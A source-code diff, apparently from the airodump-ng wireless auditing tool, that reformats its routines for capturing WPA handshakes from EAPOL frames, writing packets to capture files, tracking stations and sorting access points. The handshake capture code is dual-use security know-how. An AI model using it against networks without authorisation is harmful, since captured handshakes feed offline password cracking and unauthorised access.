+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 1;
+				}
 
-        /* Check if 802.11e (QoS) */
-        if( (h80211[0] & 0x80) == 0x80) z+=2;
+				if ((st_cur->wpa.state & 4) != 4)
+				{
+					st_cur->wpa.eapol_size
+						= (h80211[z + 2] << 8) + h80211[z + 3] + 4;
 
-        if( z + 26 > (unsigned)caplen )
-            goto write_packet;
+					if (caplen - (unsigned) z < st_cur->wpa.eapol_size
+						|| st_cur->wpa.eapol_size == 0
+						|| caplen - (unsigned) z < 81 + 16
+						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
+					{
+						// Ignore the packet trying to crash us.
+						st_cur->wpa.eapol_size = 0;
+						goto write_packet;
+					}
 
-        z += 6;     //skip LLC header
+					memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+					memcpy(
+						st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+					memset(st_cur->wpa.eapol + 81, 0, 16);
+					st_cur->wpa.state |= 4;
+					st_cur->wpa.keyver = h80211[z + 6] & 7;
+				}
+			}
 
-        /* check ethertype == EAPOL */
-        if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 )
-        {
-			ap_cur->EAP_detected = 1;
+			if (st_cur->wpa.state == 7 && !is_filtered_essid(ap_cur->essid))
+			{
+				memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+				memcpy(G.wpa_bssid, ap_cur->bssid, 6);
+				memset(G.message, '\x00', sizeof(G.message));
+				snprintf(G.message,
+						 sizeof(G.message) - 1,
+						 "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ",
+						 G.wpa_bssid[0],
+						 G.wpa_bssid[1],
+						 G.wpa_bssid[2],
+						 G.wpa_bssid[3],
+						 G.wpa_bssid[4],
+						 G.wpa_bssid[5]);
 
-            z += 2;     //skip ethertype
+				if (G.f_ivs != NULL)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags = 0;
+					ivs2.len = 0;
 
-            if( st_cur == NULL )
-                goto write_packet;
+					ivs2.len = sizeof(struct WPA_hdsk);
+					ivs2.flags |= IVS2_WPA;
 
-            /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
 
-            if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                  ( h80211[z + 6] & 0x40 ) == 0 &&
-                  ( h80211[z + 6] & 0x80 ) != 0 &&
-                  ( h80211[z + 5] & 0x01 ) == 0 )
-            {
-                memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-                st_cur->wpa.state = 1;
-            }
-
-
-            /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-            if( z+17+32 > (unsigned)caplen )
-                goto write_packet;
-
-            if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                  ( h80211[z + 6] & 0x40 ) == 0 &&
-                  ( h80211[z + 6] & 0x80 ) == 0 &&
-                  ( h80211[z + 5] & 0x01 ) != 0 )
-            {
-                if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-                {
-                    memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
-                    st_cur->wpa.state |= 2;
-
-                }
-
-                if( (st_cur->wpa.state & 4) != 4 )
-                {
-                    st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-                            +   h80211[z + 3] + 4;
-
-                    if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 ||
-                        caplen - z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
-                    {
-                        // Ignore the packet trying to crash us.
-                        st_cur->wpa.eapol_size = 0;
-                        goto write_packet;
-                    }
-
-                    memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-                    memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-                    memset( st_cur->wpa.eapol + 81, 0, 16 );
-                    st_cur->wpa.state |= 4;
-                    st_cur->wpa.keyver = h80211[z + 6] & 7;
-                }
-            }
-
-            /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-            if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                  ( h80211[z + 6] & 0x40 ) != 0 &&
-                  ( h80211[z + 6] & 0x80 ) != 0 &&
-                  ( h80211[z + 5] & 0x01 ) != 0 )
-            {
-                if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-                {
-                    memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-                    st_cur->wpa.state |= 1;
-                }
-
-                if( (st_cur->wpa.state & 4) != 4 )
-                {
-                    st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-                            +   h80211[z + 3] + 4;
-
-                    if (caplen - (unsigned)z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 ||
-                        caplen - (unsigned)z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
-                    {
-                        // Ignore the packet trying to crash us.
-                        st_cur->wpa.eapol_size = 0;
-                        goto write_packet;
-                    }
-
-                    memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-                    memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-                    memset( st_cur->wpa.eapol + 81, 0, 16 );
-                    st_cur->wpa.state |= 4;
-                    st_cur->wpa.keyver = h80211[z + 6] & 7;
-                }
-            }
-
-            if( st_cur->wpa.state == 7)
-            {
-                memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 );
-                memcpy( G.wpa_bssid, ap_cur->bssid, 6 );
-                memset(G.message, '\x00', sizeof(G.message));
-                snprintf( G.message, sizeof( G.message ) - 1,
-                    "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ",
-                    G.wpa_bssid[0], G.wpa_bssid[1], G.wpa_bssid[2],
-                    G.wpa_bssid[3], G.wpa_bssid[4], G.wpa_bssid[5]);
-
-
-                if( G.f_ivs != NULL )
-                {
-                    memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                    ivs2.flags = 0;
-                    ivs2.len = 0;
-
-                    ivs2.len= sizeof(struct WPA_hdsk);
-                    ivs2.flags |= IVS2_WPA;
-
-                    if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                    {
-                        ivs2.flags |= IVS2_BSSID;
-                        ivs2.len += 6;
-                        memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                    }
-
-                    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                        != (size_t) sizeof(struct ivs2_pkthdr) )
-                    {
-                        perror( "fwrite(IV header) failed" );
-                        return( 1 );
-                    }
-
-                    if( ivs2.flags & IVS2_BSSID )
-                    {
-                        if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 )
-                        {
-                            perror( "fwrite(IV bssid) failed" );
-                            return( 1 );
-                        }
-                        ivs2.len -= 6;
-                    }
-
-                    if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) )
-                    {
-                        perror( "fwrite(IV wpa_hdsk) failed" );
-                        return( 1 );
-                    }
-                }
-            }
-        }
-    }
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
 
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+						ivs2.len -= 6;
+					}
+
+					if (fwrite(
+							&(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs)
+						!= (size_t) sizeof(struct WPA_hdsk))
+					{
+						perror("fwrite(IV wpa_hdsk) failed");
+						return (1);
+					}
+				}
+			}
+		}
+	}
 
 write_packet:
 
-    if(ap_cur != NULL)
-    {
-        if( h80211[0] == 0x80 && G.one_beacon){
-            if( !ap_cur->beacon_logged )
-                ap_cur->beacon_logged = 1;
-            else return ( 0 );
-        }
-    }
-
-    if(G.record_data)
-    {
-        if( ( (h80211[0] & 0x0C) == 0x00 ) && ( (h80211[0] & 0xF0) == 0xB0 ) )
-        {
-            /* authentication packet */
-            check_shared_key(h80211, caplen);
-        }
-    }
-
-    if(ap_cur != NULL)
-    {
-        if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-        {
-            return(1);
-        }
-
-        if(is_filtered_essid(ap_cur->essid))
-        {
-            return(1);
-        }
-
-    }
-
-    /* this changes the local ap_cur, st_cur and na_cur variables and should be the last check befor the actual write */
-    if(caplen < 24 && caplen >= 10 && h80211[0])
-    {
-        /* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/
-        //(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 || h80211[0] == 0xE4 || h80211[0] == 0xF4)
-
-        /* use general control frame detection, as the structure is always the same: mac(s) starting at [4] */
-        if(h80211[0] & 0x04)
-        {
-            p=h80211+4;
-            while(p <= h80211+16 && p<=h80211+caplen)
-            {
-                memcpy(namac, p, 6);
-
-                if(memcmp(namac, NULL_MAC, 6) == 0)
-                {
-                    p+=6;
-                    continue;
-                }
-
-                if(memcmp(namac, BROADCAST, 6) == 0)
-                {
-                    p+=6;
-                    continue;
-                }
-
-                if(G.hide_known)
-                {
-                    /* check AP list */
-                    ap_cur = G.ap_1st;
-                    ap_prv = NULL;
-
-                    while( ap_cur != NULL )
-                    {
-                        if( ! memcmp( ap_cur->bssid, namac, 6 ) )
-                            break;
-
-                        ap_prv = ap_cur;
-                        ap_cur = ap_cur->next;
-                    }
-
-                    /* if it's an AP, try next mac */
-
-                    if( ap_cur != NULL )
-                    {
-                        p+=6;
-                        continue;
-                    }
-
-                    /* check ST list */
-                    st_cur = G.st_1st;
-                    st_prv = NULL;
-
-                    while( st_cur != NULL )
-                    {
-                        if( ! memcmp( st_cur->stmac, namac, 6 ) )
-                            break;
-
-                        st_prv = st_cur;
-                        st_cur = st_cur->next;
-                    }
-
-                    /* if it's a client, try next mac */
-
-                    if( st_cur != NULL )
-                    {
-                        p+=6;
-                        continue;
-                    }
-                }
-
-                /* not found in either AP list or ST list, look through NA list */
-                na_cur = G.na_1st;
-                na_prv = NULL;
-
-                while( na_cur != NULL )
-                {
-                    if( ! memcmp( na_cur->namac, namac, 6 ) )
-                        break;
-
-                    na_prv = na_cur;
-                    na_cur = na_cur->next;
-                }
-
-                /* update our chained list of unknown stations */
-                /* if it's a new mac, add it */
-
-                if( na_cur == NULL )
-                {
-                    if( ! ( na_cur = (struct NA_info *) malloc(
-                                    sizeof( struct NA_info ) ) ) )
-                    {
-                        perror( "malloc failed" );
-                        return( 1 );
-                    }
-
-                    memset( na_cur, 0, sizeof( struct NA_info ) );
-
-                    if( G.na_1st == NULL )
-                        G.na_1st = na_cur;
-                    else
-                        na_prv->next  = na_cur;
-
-                    memcpy( na_cur->namac, namac, 6 );
-
-                    na_cur->prev = na_prv;
-
-                    gettimeofday(&(na_cur->tv), NULL);
-                    na_cur->tinit = time( NULL );
-                    na_cur->tlast = time( NULL );
-
-                    na_cur->power   = -1;
-                    na_cur->channel = -1;
-                    na_cur->ack     = 0;
-                    na_cur->ack_old = 0;
-                    na_cur->ackps   = 0;
-                    na_cur->cts     = 0;
-                    na_cur->rts_r   = 0;
-                    na_cur->rts_t   = 0;
-                }
-
-                /* update the last time seen & power*/
-
-                na_cur->tlast = time( NULL );
-                na_cur->power = ri->ri_power;
-                na_cur->channel = ri->ri_channel;
-
-                switch(h80211[0] & 0xF0)
-                {
-                    case 0xB0:
-                        if(p == h80211+4)
-                            na_cur->rts_r++;
-                        if(p == h80211+10)
-                            na_cur->rts_t++;
-                        break;
-
-                    case 0xC0:
-                        na_cur->cts++;
-                        break;
-
-                    case 0xD0:
-                        na_cur->ack++;
-                        break;
-
-                    default:
-                        na_cur->other++;
-                        break;
-                }
-
-                /*grab next mac (for rts frames)*/
-                p+=6;
-            }
-        }
-    }
-
-    if( G.f_cap != NULL && caplen >= 10)
-    {
-        pkh.caplen = pkh.len = caplen;
-
-        gettimeofday( &tv, NULL );
-
-        pkh.tv_sec  =   tv.tv_sec;
-        pkh.tv_usec = ( tv.tv_usec & ~0x1ff ) + ri->ri_power + 64;
-
-        n = sizeof( pkh );
-
-        if( fwrite( &pkh, 1, n, G.f_cap ) != (size_t) n )
-        {
-            perror( "fwrite(packet header) failed" );
-            return( 1 );
-        }
-
-        fflush( stdout );
-
-        n = pkh.caplen;
-
-        if( fwrite( h80211, 1, n, G.f_cap ) != (size_t) n )
-        {
-            perror( "fwrite(packet data) failed" );
-            return( 1 );
-        }
-
-        fflush( stdout );
-    }
-
-    return( 0 );
-}
-
-void dump_sort( void )
-{
-    time_t tt = time( NULL );
-
-    /* thanks to Arnaud Cornet :-) */
-
-    struct AP_info *new_ap_1st = NULL;
-    struct AP_info *new_ap_end = NULL;
-
-    struct ST_info *new_st_1st = NULL;
-    struct ST_info *new_st_end = NULL;
-
-    struct ST_info *st_cur, *st_min;
-    struct AP_info *ap_cur, *ap_min;
-
-    /* sort the aps by WHATEVER first */
-
-    while( G.ap_1st )
-    {
-        ap_min = NULL;
-        ap_cur = G.ap_1st;
-
-        while( ap_cur != NULL )
-        {
-            if( tt - ap_cur->tlast > 20 )
-                ap_min = ap_cur;
-
-            ap_cur = ap_cur->next;
-        }
-
-        if( ap_min == NULL )
-        {
-            ap_min = ap_cur = G.ap_1st;
+	if (ap_cur != NULL)
+	{
+		if (h80211[0] == 0x80 && G.one_beacon)
+		{
+			if (!ap_cur->beacon_logged)
+				ap_cur->beacon_logged = 1;
+			else
+				return (0);
+		}
+	}
+
+	if (G.record_data)
+	{
+		if (((h80211[0] & 0x0C) == 0x00) && ((h80211[0] & 0xF0) == 0xB0))
+		{
+			/* authentication packet */
+			check_shared_key(h80211, caplen);
+		}
+	}
+
+	if (ap_cur != NULL)
+	{
+		if (ap_cur->security != 0 && G.f_encrypt != 0
+			&& ((ap_cur->security & G.f_encrypt) == 0))
+		{
+			return (1);
+		}
+
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			return (1);
+		}
+	}
+
+	/* this changes the local ap_cur, st_cur and na_cur variables and should be
+	 * the last check before the actual write */
+	if (caplen < 24 && caplen >= 10 && h80211[0])
+	{
+		/* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/
+		//(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 ||
+		// h80211[0] == 0xE4 || h80211[0] == 0xF4)
+
+		/* use general control frame detection, as the structure is always the
+		 * same: mac(s) starting at [4] */
+		if (h80211[0] & 0x04)
+		{
+			p = h80211 + 4;
+			while (p <= h80211 + 16 && p <= h80211 + caplen)
+			{
+				memcpy(namac, p, 6);
+
+				if (memcmp(namac, NULL_MAC, 6) == 0)
+				{
+					p += 6;
+					continue;
+				}
+
+				if (memcmp(namac, BROADCAST, 6) == 0)
+				{
+					p += 6;
+					continue;
+				}
+
+				if (G.hide_known)
+				{
+					/* check AP list */
+					ap_cur = G.ap_1st;
+					ap_prv = NULL;
+
+					while (ap_cur != NULL)
+					{
+						if (!memcmp(ap_cur->bssid, namac, 6)) break;
+
+						ap_prv = ap_cur;
+						ap_cur = ap_cur->next;
+					}
+
+					/* if it's an AP, try next mac */
+
+					if (ap_cur != NULL)
+					{
+						p += 6;
+						continue;
+					}
+
+					/* check ST list */
+					st_cur = G.st_1st;
+					st_prv = NULL;
+
+					while (st_cur != NULL)
+					{
+						if (!memcmp(st_cur->stmac, namac, 6)) break;
+
+						st_prv = st_cur;
+						st_cur = st_cur->next;
+					}
+
+					/* if it's a client, try next mac */
+
+					if (st_cur != NULL)
+					{
+						p += 6;
+						continue;
+					}
+				}
+
+				/* not found in either AP list or ST list, look through NA list
+				 */
+				na_cur = G.na_1st;
+				na_prv = NULL;
+
+				while (na_cur != NULL)
+				{
+					if (!memcmp(na_cur->namac, namac, 6)) break;
+
+					na_prv = na_cur;
+					na_cur = na_cur->next;
+				}
+
+				/* update our chained list of unknown stations */
+				/* if it's a new mac, add it */
+
+				if (na_cur == NULL)
+				{
+					if (!(na_cur
+						  = (struct NA_info *) malloc(sizeof(struct NA_info))))
+					{
+						perror("malloc failed");
+						return (1);
+					}
+
+					memset(na_cur, 0, sizeof(struct NA_info));
+
+					if (G.na_1st == NULL)
+						G.na_1st = na_cur;
+					else
+						na_prv->next = na_cur;
+
+					memcpy(na_cur->namac, namac, 6);
+
+					na_cur->prev = na_prv;
+
+					gettimeofday(&(na_cur->tv), NULL);
+					na_cur->tinit = time(NULL);
+					na_cur->tlast = time(NULL);
+
+					na_cur->power = -1;
+					na_cur->channel = -1;
+					na_cur->ack = 0;
+					na_cur->ack_old = 0;
+					na_cur->ackps = 0;
+					na_cur->cts = 0;
+					na_cur->rts_r = 0;
+					na_cur->rts_t = 0;
+				}
+
+				/* update the last time seen & power*/
+
+				na_cur->tlast = time(NULL);
+				na_cur->power = ri->ri_power;
+				na_cur->channel = ri->ri_channel;
+
+				switch (h80211[0] & 0xF0)
+				{
+					case 0xB0:
+						if (p == h80211 + 4) na_cur->rts_r++;
+						if (p == h80211 + 10) na_cur->rts_t++;
+						break;
+
+					case 0xC0:
+						na_cur->cts++;
+						break;
+
+					case 0xD0:
+						na_cur->ack++;
+						break;
+
+					default:
+						na_cur->other++;
+						break;
+				}
+
+				/*grab next mac (for rts frames)*/
+				p += 6;
+			}
+		}
+	}
+
+	if (G.f_cap != NULL && caplen >= 10)
+	{
+		pkh.caplen = pkh.len = caplen;
 
-/*#define SORT_BY_BSSID	1
+		gettimeofday(&tv, NULL);
+
+		pkh.tv_sec = tv.tv_sec;
+		pkh.tv_usec = (tv.tv_usec & ~0x1ff) + ri->ri_power + 64;
+
+		n = sizeof(pkh);
+
+		if (fwrite(&pkh, 1, n, G.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet header) failed");
+			return (1);
+		}
+
+		fflush(stdout);
+
+		n = pkh.caplen;
+
+		if (fwrite(h80211, 1, n, G.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet data) failed");
+			return (1);
+		}
+
+		fflush(stdout);
+	}
+
+	return (0);
+}
+
+static void dump_sort(void)
+{
+	time_t tt = time(NULL);
+
+	/* thanks to Arnaud Cornet :-) */
+
+	struct AP_info * new_ap_1st = NULL;
+	struct AP_info * new_ap_end = NULL;
+
+	struct ST_info * new_st_1st = NULL;
+	struct ST_info * new_st_end = NULL;
+
+	struct ST_info *st_cur, *st_min;
+	struct AP_info *ap_cur, *ap_min;
+
+	/* sort the aps by WHATEVER first */
+
+	while (G.ap_1st)
+	{
+		ap_min = NULL;
+		ap_cur = G.ap_1st;
+
+		while (ap_cur != NULL)
+		{
+			if (tt - ap_cur->tlast > 20) ap_min = ap_cur;
+
+			ap_cur = ap_cur->next;
+		}
+
+		if (ap_min == NULL)
+		{
+			ap_min = ap_cur = G.ap_1st;
+
+			/*#define SORT_BY_BSSID	1
 #define SORT_BY_POWER	2
 #define SORT_BY_BEACON	3
 #define SORT_BY_DATA	4
@@ -2677,1007 +3146,1169 @@
 #define SORT_BY_AUTH	11
 #define SORT_BY_ESSID	12*/
 
-	    while( ap_cur != NULL )
-            {
-		switch (G.sort_by) {
-		    case SORT_BY_BSSID:
-			if( memcmp(ap_cur->bssid,ap_min->bssid,6)*G.sort_inv < 0)
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_POWER:
-			if( (ap_cur->avg_power - ap_min->avg_power)*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_BEACON:
-			if( (ap_cur->nb_bcn < ap_min->nb_bcn)*G.sort_inv )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_DATA:
-			if( (ap_cur->nb_data < ap_min->nb_data)*G.sort_inv )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_PRATE:
-			if( (ap_cur->nb_dataps - ap_min->nb_dataps)*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_CHAN:
-			if( (ap_cur->channel - ap_min->channel)*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_MBIT:
-			if( (ap_cur->max_speed - ap_min->max_speed)*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_ENC:
-			if( ((ap_cur->security&STD_FIELD) - (ap_min->security&STD_FIELD))*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_CIPHER:
-			if( ((ap_cur->security&ENC_FIELD) - (ap_min->security&ENC_FIELD))*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_AUTH:
-			if( ((ap_cur->security&AUTH_FIELD) - (ap_min->security&AUTH_FIELD))*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    case SORT_BY_ESSID:
-			if( (strncasecmp((char*)ap_cur->essid, (char*)ap_min->essid, MAX_IE_ELEMENT_SIZE))*G.sort_inv < 0 )
-			    ap_min = ap_cur;
-			break;
-		    default:	//sort by power
-			if( ap_cur->avg_power < ap_min->avg_power)
-			    ap_min = ap_cur;
-			break;
+			while (ap_cur != NULL)
+			{
+				switch (G.sort_by)
+				{
+					case SORT_BY_BSSID:
+						if (memcmp(ap_cur->bssid, ap_min->bssid, 6) * G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_POWER:
+						if ((ap_cur->avg_power - ap_min->avg_power) * G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_BEACON:
+						if ((ap_cur->nb_bcn < ap_min->nb_bcn) && G.sort_inv)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_DATA:
+						if ((ap_cur->nb_data < ap_min->nb_data) && G.sort_inv)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_PRATE:
+						if ((ap_cur->nb_dataps - ap_min->nb_dataps) * G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_CHAN:
+						if ((ap_cur->channel - ap_min->channel) * G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_MBIT:
+						if ((ap_cur->max_speed - ap_min->max_speed) * G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_ENC:
+						if (((ap_cur->security & STD_FIELD)
+							 - (ap_min->security & STD_FIELD))
+								* G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_CIPHER:
+						if (((ap_cur->security & ENC_FIELD)
+							 - (ap_min->security & ENC_FIELD))
+								* G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_AUTH:
+						if (((ap_cur->security & AUTH_FIELD)
+							 - (ap_min->security & AUTH_FIELD))
+								* G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_ESSID:
+						if ((strncasecmp((char *) ap_cur->essid,
+										 (char *) ap_min->essid,
+										 MAX_IE_ELEMENT_SIZE))
+								* G.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					default: // sort by power
+						if (ap_cur->avg_power < ap_min->avg_power)
+							ap_min = ap_cur;
+						break;
+				}
+				ap_cur = ap_cur->next;
+			}
 		}
-                ap_cur = ap_cur->next;
-	    }
-	}
 
-        if( ap_min == G.ap_1st )
-            G.ap_1st = ap_min->next;
+		if (ap_min == G.ap_1st) G.ap_1st = ap_min->next;
 
-        if( ap_min == G.ap_end )
-            G.ap_end = ap_min->prev;
+		if (ap_min == G.ap_end) G.ap_end = ap_min->prev;
 
-        if( ap_min->next )
-            ap_min->next->prev = ap_min->prev;
+		if (ap_min->next) ap_min->next->prev = ap_min->prev;
 
-        if( ap_min->prev )
-            ap_min->prev->next = ap_min->next;
+		if (ap_min->prev) ap_min->prev->next = ap_min->next;
 
-        if( new_ap_end )
-        {
-            new_ap_end->next = ap_min;
-            ap_min->prev = new_ap_end;
-            new_ap_end = ap_min;
-            new_ap_end->next = NULL;
-        }
-        else
-        {
-            new_ap_1st = new_ap_end = ap_min;
-            ap_min->next = ap_min->prev = NULL;
-        }
-    }
+		if (new_ap_end)
+		{
+			new_ap_end->next = ap_min;
+			ap_min->prev = new_ap_end;
+			new_ap_end = ap_min;
+			new_ap_end->next = NULL;
+		}
+		else
+		{
+			new_ap_1st = new_ap_end = ap_min;
+			ap_min->next = ap_min->prev = NULL;
+		}
+	}
 
-    G.ap_1st = new_ap_1st;
-    G.ap_end = new_ap_end;
+	G.ap_1st = new_ap_1st;
+	G.ap_end = new_ap_end;
 
-    /* now sort the stations */
+	/* now sort the stations */
 
-    while( G.st_1st )
-    {
-        st_min = NULL;
-        st_cur = G.st_1st;
+	while (G.st_1st)
+	{
+		st_min = NULL;
+		st_cur = G.st_1st;
 
-        while( st_cur != NULL )
-        {
-            if( tt - st_cur->tlast > 60 )
-                st_min = st_cur;
+		while (st_cur != NULL)
+		{
+			if (tt - st_cur->tlast > 60) st_min = st_cur;
 
-            st_cur = st_cur->next;
-        }
+			st_cur = st_cur->next;
+		}
 
-        if( st_min == NULL )
-        {
-            st_min = st_cur = G.st_1st;
+		if (st_min == NULL)
+		{
+			st_min = st_cur = G.st_1st;
 
-            while( st_cur != NULL )
-            {
-                if( st_cur->power < st_min->power)
-                    st_min = st_cur;
+			while (st_cur != NULL)
+			{
+				if (st_cur->power < st_min->power) st_min = st_cur;
 
-                st_cur = st_cur->next;
-            }
-        }
+				st_cur = st_cur->next;
+			}
+		}
 
-        if( st_min == G.st_1st )
-            G.st_1st = st_min->next;
+		if (st_min == G.st_1st) G.st_1st = st_min->next;
 
-        if( st_min == G.st_end )
-            G.st_end = st_min->prev;
+		if (st_min == G.st_end) G.st_end = st_min->prev;
 
-        if( st_min->next )
-            st_min->next->prev = st_min->prev;
+		if (st_min->next) st_min->next->prev = st_min->prev;
 
-        if( st_min->prev )
-            st_min->prev->next = st_min->next;
+		if (st_min->prev) st_min->prev->next = st_min->next;
 
-        if( new_st_end )
-        {
-            new_st_end->next = st_min;
-            st_min->prev = new_st_end;
-            new_st_end = st_min;
-            new_st_end->next = NULL;
-        }
-        else
-        {
-            new_st_1st = new_st_end = st_min;
-            st_min->next = st_min->prev = NULL;
-        }
-    }
+		if (new_st_end)
+		{
+			new_st_end->next = st_min;
+			st_min->prev = new_st_end;
+			new_st_end = st_min;
+			new_st_end->next = NULL;
+		}
+		else
+		{
+			new_st_1st = new_st_end = st_min;
+			st_min->next = st_min->prev = NULL;
+		}
+	}
 
-    G.st_1st = new_st_1st;
-    G.st_end = new_st_end;
+	G.st_1st = new_st_1st;
+	G.st_end = new_st_end;
 }
 
-int getBatteryState()
-{
-	return get_battery_state();
-}
+static int getBatteryState(void) { return get_battery_state(); }
 
-char * getStringTimeFromSec(double seconds)
+static char * getStringTimeFromSec(double seconds)
 {
-    int hour[3];
-    char * ret;
-    char * HourTime;
-    char * MinTime;
-
-    if (seconds <0)
-        return NULL;
-
-    ret = (char *) calloc(1,256);
-
-    HourTime = (char *) calloc (1,128);
-    MinTime  = (char *) calloc (1,128);
+	int hour[3];
+	char * ret;
+	char * HourTime;
+	char * MinTime;
 
-    hour[0]  = (int) (seconds);
-    hour[1]  = hour[0] / 60;
-    hour[2]  = hour[1] / 60;
-    hour[0] %= 60 ;
-    hour[1] %= 60 ;
+	if (seconds < 0) return NULL;
 
-    if (hour[2] != 0 )
-        snprintf(HourTime, 128, "%d %s", hour[2], ( hour[2] == 1 ) ? "hour" : "hours");
-    if (hour[1] != 0 )
-        snprintf(MinTime, 128, "%d %s", hour[1], ( hour[1] == 1 ) ? "min" : "mins");
+	ret = (char *) calloc(1, 256);
 
-    if ( hour[2] != 0 && hour[1] != 0 )
-        snprintf(ret, 256, "%s %s", HourTime, MinTime);
-    else
-    {
-        if (hour[2] == 0 && hour[1] == 0)
-            snprintf(ret, 256, "%d s", hour[0] );
-        else
-            snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime );
-    }
+	HourTime = (char *) calloc(1, 128);
+	MinTime = (char *) calloc(1, 128);
+
+	hour[0] = (int) (seconds);
+	hour[1] = hour[0] / 60;
+	hour[2] = hour[1] / 60;
+	hour[0] %= 60;
+	hour[1] %= 60;
+
+	if (hour[2] != 0)
+		snprintf(
+			HourTime, 128, "%d %s", hour[2], (hour[2] == 1) ? "hour" : "hours");
+	if (hour[1] != 0)
+		snprintf(
+			MinTime, 128, "%d %s", hour[1], (hour[1] == 1) ? "min" : "mins");
 
-    free(MinTime);
-    free(HourTime);
+	if (hour[2] != 0 && hour[1] != 0)
+		snprintf(ret, 256, "%s %s", HourTime, MinTime);
+	else
+	{
+		if (hour[2] == 0 && hour[1] == 0)
+			snprintf(ret, 256, "%d s", hour[0]);
+		else
+			snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime);
+	}
 
-    return ret;
+	free(MinTime);
+	free(HourTime);
 
+	return ret;
